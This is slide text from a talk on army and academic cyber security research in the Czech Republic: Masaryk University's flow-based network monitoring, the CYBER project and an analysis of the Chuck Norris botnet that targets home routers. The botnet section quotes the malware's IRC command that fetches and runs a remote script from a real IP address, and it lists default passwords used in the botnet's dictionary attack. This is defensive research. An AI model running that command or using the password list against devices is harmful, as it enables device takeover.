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Part I
Masaryk University, Brno, Czech Republic
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Masaryk University, Brno
Brno, Czech Republic
2nd largest city (next to Prague).
~400,000 inhabitants, ~100,000
students!
Home to a number of institutions directly
related to R&D (AVG, IBM, Honeywell).
Masaryk University
2nd largest university in the country.
~45,000 students, ~5,000 staff.
~15,000 hosts online every day.
2x 10 gigabit uplinks to internet.
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Part II
R&D Timeline
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Before 2008
2004 Czech NREN CESNET, Masaryk University and Brno
University of Technology built the first 10 gigabit network
interface card in academia world.
2005–2007 first two university spin-off companies
estabilished.
2007 CAMNEP project – Cooperative Adaptive Mechanism
for Network Protection – for U. S. Army.
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After 2008
2008 CYBER project for Czech Army started.
2008–2009 CAMNEP project follow-up.
2009 CSIRT-MU – Computer Security Incident Response
Team of Masaryk University established.
2010 a new botnet named Chuck Norris discovered.
2011 cooperation with Czech National Security Authority
that operates Czech governmental CERT.
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Part III
Network Security Monitoring at Masaryk
University
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FlowMon Probes at Masaryk University Campus
FlowMon probes:   
NetFlow collectors:  
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6
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Network without any flow monitoring system.
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FlowMon Probe FlowMon Probe
FlowMon probe connected to in-line TAP.
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FlowMon observes data from TAP and SPAN ports.
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Periodic Update Tasks and Plugins
Web Front-End User Plugins Command-Line
Interface
NfSen – NetFlow Sensor – http://nfsen.sf.net/
NFDUMP – NetFlow display – http://nfdump.sf.net/
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Part IV
CYBER project
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Goals of the project
Validation of advanced







Deployment of project results in real networks by the
CIRC of Czech Ministry of Defence and the CSIRT-MU.














devices in the network.
Server
Server
Discovery of Chuck Norris
botnet.
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HAMOC Hardware Platform
Features
Traffic distribution among multiple CPU cores.
Network applications with hardware acceleration.
Capable of concurrent monitoring/blocking/filtering/etc.
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Part V
Chuck Norris Botnet
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Chuck Norris Botnet
What is “new“
Attack against network devices.
Users are not aware about the attack.
Infected devices are permanently
connected to the Internet.
Short Summary
Attacks Linux MIPSEL devices
(ADSL modems, WIFI routers).
No anti-* solution.
Access to all user’s traffic.
Based on known techniques
and components.
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Botnet Analysis – I
Botnet monitoring and analysis testbed.
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Botnet Analysis – I
IRC�serverbad�guy
Botnet monitoring and analysis testbed.
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Botnet Analysis – I
IRC�serverbad�guy
bots
Botnet monitoring and analysis testbed.
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Botnet monitoring and analysis testbed.
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Botnet monitoring and analysis testbed.
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Botnet Analysis – II
infected
device
IP Range Owner IP Range Owner
217.236.0.0/16 Deutsche Telekom 88.253.0.0/16 TurkTelekom
87.22.0.0/16 Telecom Italia 220.240.0.0/16 Comindico Australia
85.174.0.0/16 Volgograd Electro Svyaz 222.215.0.0/16 China Telecom
201.1.0.0/16 Telecomunicacoes de Sao Paulo 200.121.0.0/16 Telefonica del Peru
Tab. 1: Example of botnet propagation targets.
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root admin, Admin, password, root, 1234, private, XA1bac0MX,adsl1234, %%fuckinside%%, dreambox, blank password
admin admin, password, blank password
1234 1234Admin
Tab. 2: Passwords used for a dictionary attack.
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download current bot version
User Password
root admin, Admin, password, root, 1234, private, XA1bac0MX,adsl1234, %%fuckinside%%, dreambox, blank password
admin admin, password, blank password
1234 1234Admin
Tab. 2: Passwords used for a dictionary attack.
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Initial Command (IRC Topic):
:!* sh wget http://87.98.163.86/pwn/scan.sh;chmod u+x scan.sh;./scan.sh
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Botnet Activities – I
Botnet Threats




The link was saturated with malicious traffic activities.
Economic losses and criminal sanctions against unaware users.
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Telnet Scans Against Masaryk University Network
33 000 unique attackers (infected devices) from 2009/10 –
2010/02.
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Telnet Scans Against Masaryk University Network
Unique Attackers
33 000 unique attackers (infected devices) from 2009/10 –
2010/02.
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Telnet Scans Against Masaryk University Network
Unique Attackers
33 000 unique attackers (infected devices) from 2009/10 –
2010/02.
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But in 2011 we spot a new version in the wild. . .
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Part VI
Conclusion
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Conclusion
Flow-based network intrusion detection and protection is
suitable for large and high-speed networks.
Online network monitoring contributes to the overall
security.
Any device connected to network is dangerous.
They are not anti-* solutions for ubiquitous networking.






Army & Academia Cyber
Security Research
in Czech Republic
Jan Vykopal Army & Academia Cyber Security Research in Czech Republic 29 / 29
